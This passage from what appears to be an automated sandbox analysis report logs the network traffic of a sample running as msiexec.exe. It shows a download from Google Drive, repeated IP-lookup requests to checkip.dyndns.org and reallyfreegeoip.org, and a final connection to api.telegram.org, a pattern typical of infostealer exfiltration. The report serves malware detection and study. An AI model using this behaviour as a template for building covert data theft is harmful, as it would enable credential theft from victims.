Jan 8, 2025 16:21:26.854126930 CET	49715	443	192.168.2.8	188.114.97.3
Jan 8, 2025 16:21:26.857779980 CET	49714	80	192.168.2.8	132.226.8.169
Jan 8, 2025 16:21:26.858859062 CET	49716	80	192.168.2.8	132.226.8.169
Jan 8, 2025 16:21:26.862786055 CET	80	49714	132.226.8.169	192.168.2.8
Jan 8, 2025 16:21:26.862879038 CET	49714	80	192.168.2.8	132.226.8.169
Jan 8, 2025 16:21:26.863709927 CET	80	49716	132.226.8.169	192.168.2.8
Jan 8, 2025 16:21:26.863790989 CET	49716	80	192.168.2.8	132.226.8.169
Jan 8, 2025 16:21:26.863919020 CET	49716	80	192.168.2.8	132.226.8.169
Jan 8, 2025 16:21:26.868721962 CET	80	49716	132.226.8.169	192.168.2.8
Jan 8, 2025 16:21:27.971503973 CET	80	49716	132.226.8.169	192.168.2.8
Jan 8, 2025 16:21:27.972919941 CET	49717	443	192.168.2.8	188.114.97.3
Jan 8, 2025 16:21:27.972958088 CET	443	49717	188.114.97.3	192.168.2.8
Jan 8, 2025 16:21:27.973046064 CET	49717	443	192.168.2.8	188.114.97.3
Jan 8, 2025 16:21:27.973309994 CET	49717	443	192.168.2.8	188.114.97.3
Jan 8, 2025 16:21:27.973320007 CET	443	49717	188.114.97.3	192.168.2.8
Jan 8, 2025 16:21:28.012490034 CET	49716	80	192.168.2.8	132.226.8.169
Jan 8, 2025 16:21:28.449062109 CET	443	49717	188.114.97.3	192.168.2.8
Jan 8, 2025 16:21:28.450949907 CET	49717	443	192.168.2.8	188.114.97.3
Jan 8, 2025 16:21:28.450989962 CET	443	49717	188.114.97.3	192.168.2.8
Jan 8, 2025 16:21:28.612478018 CET	443	49717	188.114.97.3	192.168.2.8
Jan 8, 2025 16:21:28.612545967 CET	443	49717	188.114.97.3	192.168.2.8
Jan 8, 2025 16:21:28.612731934 CET	49717	443	192.168.2.8	188.114.97.3
Jan 8, 2025 16:21:28.612967968 CET	49717	443	192.168.2.8	188.114.97.3
Jan 8, 2025 16:21:28.617091894 CET	49718	80	192.168.2.8	132.226.8.169
Jan 8, 2025 16:21:28.622104883 CET	80	49718	132.226.8.169	192.168.2.8
Jan 8, 2025 16:21:28.622179985 CET	49718	80	192.168.2.8	132.226.8.169
Jan 8, 2025 16:21:28.622235060 CET	49718	80	192.168.2.8	132.226.8.169
Jan 8, 2025 16:21:28.626962900 CET	80	49718	132.226.8.169	192.168.2.8
Jan 8, 2025 16:21:29.550122976 CET	80	49718	132.226.8.169	192.168.2.8
Jan 8, 2025 16:21:29.566237926 CET	49719	443	192.168.2.8	188.114.97.3
Jan 8, 2025 16:21:29.566282034 CET	443	49719	188.114.97.3	192.168.2.8
Jan 8, 2025 16:21:29.566345930 CET	49719	443	192.168.2.8	188.114.97.3
Jan 8, 2025 16:21:29.566617012 CET	49719	443	192.168.2.8	188.114.97.3
Jan 8, 2025 16:21:29.566629887 CET	443	49719	188.114.97.3	192.168.2.8
Jan 8, 2025 16:21:29.606224060 CET	49718	80	192.168.2.8	132.226.8.169
Jan 8, 2025 16:21:30.039444923 CET	443	49719	188.114.97.3	192.168.2.8
Jan 8, 2025 16:21:30.041260958 CET	49719	443	192.168.2.8	188.114.97.3
Jan 8, 2025 16:21:30.041316986 CET	443	49719	188.114.97.3	192.168.2.8
Jan 8, 2025 16:21:30.188466072 CET	443	49719	188.114.97.3	192.168.2.8
Jan 8, 2025 16:21:30.188534975 CET	443	49719	188.114.97.3	192.168.2.8
Jan 8, 2025 16:21:30.188591003 CET	49719	443	192.168.2.8	188.114.97.3
Jan 8, 2025 16:21:30.188994884 CET	49719	443	192.168.2.8	188.114.97.3
Jan 8, 2025 16:21:30.193697929 CET	49718	80	192.168.2.8	132.226.8.169
Jan 8, 2025 16:21:30.194228888 CET	49720	80	192.168.2.8	132.226.8.169
Jan 8, 2025 16:21:30.198657036 CET	80	49718	132.226.8.169	192.168.2.8
Jan 8, 2025 16:21:30.198736906 CET	49718	80	192.168.2.8	132.226.8.169
Jan 8, 2025 16:21:30.199055910 CET	80	49720	132.226.8.169	192.168.2.8
Jan 8, 2025 16:21:30.199139118 CET	49720	80	192.168.2.8	132.226.8.169
Jan 8, 2025 16:21:30.199228048 CET	49720	80	192.168.2.8	132.226.8.169
Jan 8, 2025 16:21:30.203989983 CET	80	49720	132.226.8.169	192.168.2.8
Jan 8, 2025 16:21:31.035387039 CET	80	49720	132.226.8.169	192.168.2.8
Jan 8, 2025 16:21:31.036695004 CET	49721	443	192.168.2.8	188.114.97.3
Jan 8, 2025 16:21:31.036751986 CET	443	49721	188.114.97.3	192.168.2.8
Jan 8, 2025 16:21:31.036823034 CET	49721	443	192.168.2.8	188.114.97.3
Jan 8, 2025 16:21:31.037062883 CET	49721	443	192.168.2.8	188.114.97.3
Jan 8, 2025 16:21:31.037090063 CET	443	49721	188.114.97.3	192.168.2.8
Jan 8, 2025 16:21:31.090646029 CET	49720	80	192.168.2.8	132.226.8.169
Jan 8, 2025 16:21:31.505388975 CET	443	49721	188.114.97.3	192.168.2.8
Jan 8, 2025 16:21:31.507056952 CET	49721	443	192.168.2.8	188.114.97.3
Jan 8, 2025 16:21:31.507082939 CET	443	49721	188.114.97.3	192.168.2.8
Jan 8, 2025 16:21:31.638501883 CET	443	49721	188.114.97.3	192.168.2.8
Jan 8, 2025 16:21:31.638580084 CET	443	49721	188.114.97.3	192.168.2.8
Jan 8, 2025 16:21:31.638642073 CET	49721	443	192.168.2.8	188.114.97.3
Jan 8, 2025 16:21:31.639092922 CET	49721	443	192.168.2.8	188.114.97.3
Jan 8, 2025 16:21:31.642244101 CET	49720	80	192.168.2.8	132.226.8.169
Jan 8, 2025 16:21:31.643443108 CET	49722	80	192.168.2.8	132.226.8.169
Jan 8, 2025 16:21:31.647285938 CET	80	49720	132.226.8.169	192.168.2.8
Jan 8, 2025 16:21:31.647357941 CET	49720	80	192.168.2.8	132.226.8.169
Jan 8, 2025 16:21:31.648298025 CET	80	49722	132.226.8.169	192.168.2.8
Jan 8, 2025 16:21:31.648380041 CET	49722	80	192.168.2.8	132.226.8.169
Jan 8, 2025 16:21:31.648511887 CET	49722	80	192.168.2.8	132.226.8.169
Jan 8, 2025 16:21:31.653278112 CET	80	49722	132.226.8.169	192.168.2.8
Jan 8, 2025 16:21:32.461195946 CET	80	49722	132.226.8.169	192.168.2.8
Jan 8, 2025 16:21:32.462676048 CET	49723	443	192.168.2.8	188.114.97.3
Jan 8, 2025 16:21:32.462721109 CET	443	49723	188.114.97.3	192.168.2.8
Jan 8, 2025 16:21:32.462821007 CET	49723	443	192.168.2.8	188.114.97.3
Jan 8, 2025 16:21:32.463090897 CET	49723	443	192.168.2.8	188.114.97.3
Jan 8, 2025 16:21:32.463104010 CET	443	49723	188.114.97.3	192.168.2.8
Jan 8, 2025 16:21:32.512473106 CET	49722	80	192.168.2.8	132.226.8.169
Jan 8, 2025 16:21:32.928920031 CET	443	49723	188.114.97.3	192.168.2.8
Jan 8, 2025 16:21:32.930665016 CET	49723	443	192.168.2.8	188.114.97.3
Jan 8, 2025 16:21:32.930696011 CET	443	49723	188.114.97.3	192.168.2.8
Jan 8, 2025 16:21:33.074738979 CET	443	49723	188.114.97.3	192.168.2.8
Jan 8, 2025 16:21:33.074815035 CET	443	49723	188.114.97.3	192.168.2.8
Jan 8, 2025 16:21:33.074872971 CET	49723	443	192.168.2.8	188.114.97.3
Jan 8, 2025 16:21:33.075416088 CET	49723	443	192.168.2.8	188.114.97.3
Jan 8, 2025 16:21:33.078828096 CET	49722	80	192.168.2.8	132.226.8.169
Jan 8, 2025 16:21:33.080010891 CET	49724	80	192.168.2.8	132.226.8.169
Jan 8, 2025 16:21:33.083750963 CET	80	49722	132.226.8.169	192.168.2.8
Jan 8, 2025 16:21:33.083806038 CET	49722	80	192.168.2.8	132.226.8.169
Jan 8, 2025 16:21:33.084793091 CET	80	49724	132.226.8.169	192.168.2.8
Jan 8, 2025 16:21:33.084855080 CET	49724	80	192.168.2.8	132.226.8.169
Jan 8, 2025 16:21:33.084923983 CET	49724	80	192.168.2.8	132.226.8.169
Jan 8, 2025 16:21:33.089652061 CET	80	49724	132.226.8.169	192.168.2.8
Jan 8, 2025 16:21:33.870878935 CET	80	49724	132.226.8.169	192.168.2.8
Jan 8, 2025 16:21:33.872348070 CET	49725	443	192.168.2.8	188.114.97.3
Jan 8, 2025 16:21:33.872380972 CET	443	49725	188.114.97.3	192.168.2.8
Jan 8, 2025 16:21:33.872473001 CET	49725	443	192.168.2.8	188.114.97.3
Jan 8, 2025 16:21:33.872723103 CET	49725	443	192.168.2.8	188.114.97.3
Jan 8, 2025 16:21:33.872734070 CET	443	49725	188.114.97.3	192.168.2.8
Jan 8, 2025 16:21:33.918792009 CET	49724	80	192.168.2.8	132.226.8.169
Jan 8, 2025 16:21:34.336076975 CET	443	49725	188.114.97.3	192.168.2.8
Jan 8, 2025 16:21:34.337946892 CET	49725	443	192.168.2.8	188.114.97.3
Jan 8, 2025 16:21:34.337973118 CET	443	49725	188.114.97.3	192.168.2.8
Jan 8, 2025 16:21:34.488101006 CET	443	49725	188.114.97.3	192.168.2.8
Jan 8, 2025 16:21:34.488181114 CET	443	49725	188.114.97.3	192.168.2.8
Jan 8, 2025 16:21:34.488327980 CET	49725	443	192.168.2.8	188.114.97.3
Jan 8, 2025 16:21:34.488785028 CET	49725	443	192.168.2.8	188.114.97.3
Jan 8, 2025 16:21:34.491812944 CET	49724	80	192.168.2.8	132.226.8.169
Jan 8, 2025 16:21:34.492861032 CET	49726	80	192.168.2.8	132.226.8.169
Jan 8, 2025 16:21:34.496804953 CET	80	49724	132.226.8.169	192.168.2.8
Jan 8, 2025 16:21:34.496867895 CET	49724	80	192.168.2.8	132.226.8.169
Jan 8, 2025 16:21:34.497692108 CET	80	49726	132.226.8.169	192.168.2.8
Jan 8, 2025 16:21:34.497749090 CET	49726	80	192.168.2.8	132.226.8.169
Jan 8, 2025 16:21:34.497817039 CET	49726	80	192.168.2.8	132.226.8.169
Jan 8, 2025 16:21:34.502573967 CET	80	49726	132.226.8.169	192.168.2.8
Jan 8, 2025 16:21:35.484287024 CET	80	49726	132.226.8.169	192.168.2.8
Jan 8, 2025 16:21:35.485481024 CET	49727	443	192.168.2.8	188.114.97.3
Jan 8, 2025 16:21:35.485528946 CET	443	49727	188.114.97.3	192.168.2.8
Jan 8, 2025 16:21:35.485630035 CET	49727	443	192.168.2.8	188.114.97.3
Jan 8, 2025 16:21:35.485858917 CET	49727	443	192.168.2.8	188.114.97.3
Jan 8, 2025 16:21:35.485872030 CET	443	49727	188.114.97.3	192.168.2.8
Jan 8, 2025 16:21:35.528114080 CET	49726	80	192.168.2.8	132.226.8.169
Jan 8, 2025 16:21:35.943309069 CET	443	49727	188.114.97.3	192.168.2.8
Jan 8, 2025 16:21:35.944823027 CET	49727	443	192.168.2.8	188.114.97.3
Jan 8, 2025 16:21:35.944847107 CET	443	49727	188.114.97.3	192.168.2.8
Jan 8, 2025 16:21:36.091438055 CET	443	49727	188.114.97.3	192.168.2.8
Jan 8, 2025 16:21:36.091521025 CET	443	49727	188.114.97.3	192.168.2.8
Jan 8, 2025 16:21:36.091562033 CET	49727	443	192.168.2.8	188.114.97.3
Jan 8, 2025 16:21:36.092050076 CET	49727	443	192.168.2.8	188.114.97.3
Jan 8, 2025 16:21:36.129158020 CET	49726	80	192.168.2.8	132.226.8.169
Jan 8, 2025 16:21:36.135545969 CET	80	49726	132.226.8.169	192.168.2.8
Jan 8, 2025 16:21:36.135651112 CET	49726	80	192.168.2.8	132.226.8.169
Jan 8, 2025 16:21:36.139333010 CET	49728	443	192.168.2.8	149.154.167.220
Jan 8, 2025 16:21:36.139363050 CET	443	49728	149.154.167.220	192.168.2.8
Jan 8, 2025 16:21:36.139426947 CET	49728	443	192.168.2.8	149.154.167.220
Jan 8, 2025 16:21:36.139856100 CET	49728	443	192.168.2.8	149.154.167.220
Jan 8, 2025 16:21:36.139868975 CET	443	49728	149.154.167.220	192.168.2.8
Jan 8, 2025 16:21:36.758531094 CET	443	49728	149.154.167.220	192.168.2.8
Jan 8, 2025 16:21:36.758687019 CET	49728	443	192.168.2.8	149.154.167.220
Jan 8, 2025 16:21:36.760457993 CET	49728	443	192.168.2.8	149.154.167.220
Jan 8, 2025 16:21:36.760468960 CET	443	49728	149.154.167.220	192.168.2.8
Jan 8, 2025 16:21:36.760854959 CET	443	49728	149.154.167.220	192.168.2.8
Jan 8, 2025 16:21:36.762213945 CET	49728	443	192.168.2.8	149.154.167.220
Jan 8, 2025 16:21:36.803332090 CET	443	49728	149.154.167.220	192.168.2.8
Jan 8, 2025 16:21:36.997536898 CET	443	49728	149.154.167.220	192.168.2.8
Jan 8, 2025 16:21:36.997603893 CET	443	49728	149.154.167.220	192.168.2.8
Jan 8, 2025 16:21:36.997673988 CET	49728	443	192.168.2.8	149.154.167.220
Jan 8, 2025 16:21:37.008418083 CET	49728	443	192.168.2.8	149.154.167.220
Jan 8, 2025 16:21:42.815015078 CET	49716	80	192.168.2.8	132.226.8.169

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 8, 2025 16:21:17.608392954 CET	53503	53	192.168.2.8	1.1.1.1
Jan 8, 2025 16:21:17.615252018 CET	53	53503	1.1.1.1	192.168.2.8
Jan 8, 2025 16:21:18.674489975 CET	64530	53	192.168.2.8	1.1.1.1
Jan 8, 2025 16:21:18.683943033 CET	53	64530	1.1.1.1	192.168.2.8
Jan 8, 2025 16:21:22.257673979 CET	58770	53	192.168.2.8	1.1.1.1
Jan 8, 2025 16:21:22.264601946 CET	53	58770	1.1.1.1	192.168.2.8
Jan 8, 2025 16:21:23.828490019 CET	61570	53	192.168.2.8	1.1.1.1
Jan 8, 2025 16:21:23.836251974 CET	53	61570	1.1.1.1	192.168.2.8
Jan 8, 2025 16:21:36.129767895 CET	49205	53	192.168.2.8	1.1.1.1
Jan 8, 2025 16:21:36.138704062 CET	53	49205	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 8, 2025 16:21:17.608392954 CET	192.168.2.8	1.1.1.1	0xe50d	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)	false
Jan 8, 2025 16:21:18.674489975 CET	192.168.2.8	1.1.1.1	0x5b55	Standard query (0)	drive.usercontent.google.com	A (IP address)	IN (0x0001)	false
Jan 8, 2025 16:21:22.257673979 CET	192.168.2.8	1.1.1.1	0x3da0	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Jan 8, 2025 16:21:23.828490019 CET	192.168.2.8	1.1.1.1	0x86e6	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Jan 8, 2025 16:21:36.129767895 CET	192.168.2.8	1.1.1.1	0xfd13	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 8, 2025 16:21:17.615252018 CET	1.1.1.1	192.168.2.8	0xe50d	No error (0)	drive.google.com		142.250.184.238	A (IP address)	IN (0x0001)	false
Jan 8, 2025 16:21:18.683943033 CET	1.1.1.1	192.168.2.8	0x5b55	No error (0)	drive.usercontent.google.com		142.250.181.225	A (IP address)	IN (0x0001)	false
Jan 8, 2025 16:21:22.264601946 CET	1.1.1.1	192.168.2.8	0x3da0	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 8, 2025 16:21:22.264601946 CET	1.1.1.1	192.168.2.8	0x3da0	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Jan 8, 2025 16:21:22.264601946 CET	1.1.1.1	192.168.2.8	0x3da0	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Jan 8, 2025 16:21:22.264601946 CET	1.1.1.1	192.168.2.8	0x3da0	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Jan 8, 2025 16:21:22.264601946 CET	1.1.1.1	192.168.2.8	0x3da0	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Jan 8, 2025 16:21:22.264601946 CET	1.1.1.1	192.168.2.8	0x3da0	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Jan 8, 2025 16:21:23.836251974 CET	1.1.1.1	192.168.2.8	0x86e6	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Jan 8, 2025 16:21:23.836251974 CET	1.1.1.1	192.168.2.8	0x86e6	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Jan 8, 2025 16:21:36.138704062 CET	1.1.1.1	192.168.2.8	0xfd13	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

drive.google.com

drive.usercontent.google.com

reallyfreegeoip.org

api.telegram.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49711	132.226.8.169	80	3504	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 16:21:22.273201942 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 8, 2025 16:21:23.304405928 CET	273	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 15:21:23 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Jan 8, 2025 16:21:23.307410955 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 8, 2025 16:21:23.580158949 CET	273	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 15:21:23 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Jan 8, 2025 16:21:24.486007929 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 8, 2025 16:21:24.754890919 CET	273	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 15:21:24 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49714	132.226.8.169	80	3504	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 16:21:25.409346104 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 8, 2025 16:21:26.241235018 CET	273	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 15:21:26 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49716	132.226.8.169	80	3504	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 16:21:26.863919020 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 8, 2025 16:21:27.971503973 CET	273	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 15:21:27 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49718	132.226.8.169	80	3504	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 16:21:28.622235060 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 8, 2025 16:21:29.550122976 CET	273	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 15:21:29 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49720	132.226.8.169	80	3504	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 16:21:30.199228048 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 8, 2025 16:21:31.035387039 CET	273	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 15:21:30 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49722	132.226.8.169	80	3504	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 16:21:31.648511887 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 8, 2025 16:21:32.461195946 CET	273	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 15:21:32 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49724	132.226.8.169	80	3504	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 16:21:33.084923983 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 8, 2025 16:21:33.870878935 CET	273	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 15:21:33 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	49726	132.226.8.169	80	3504	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 16:21:34.497817039 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 8, 2025 16:21:35.484287024 CET	273	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 15:21:35 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49709	142.250.184.238	443	3504	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
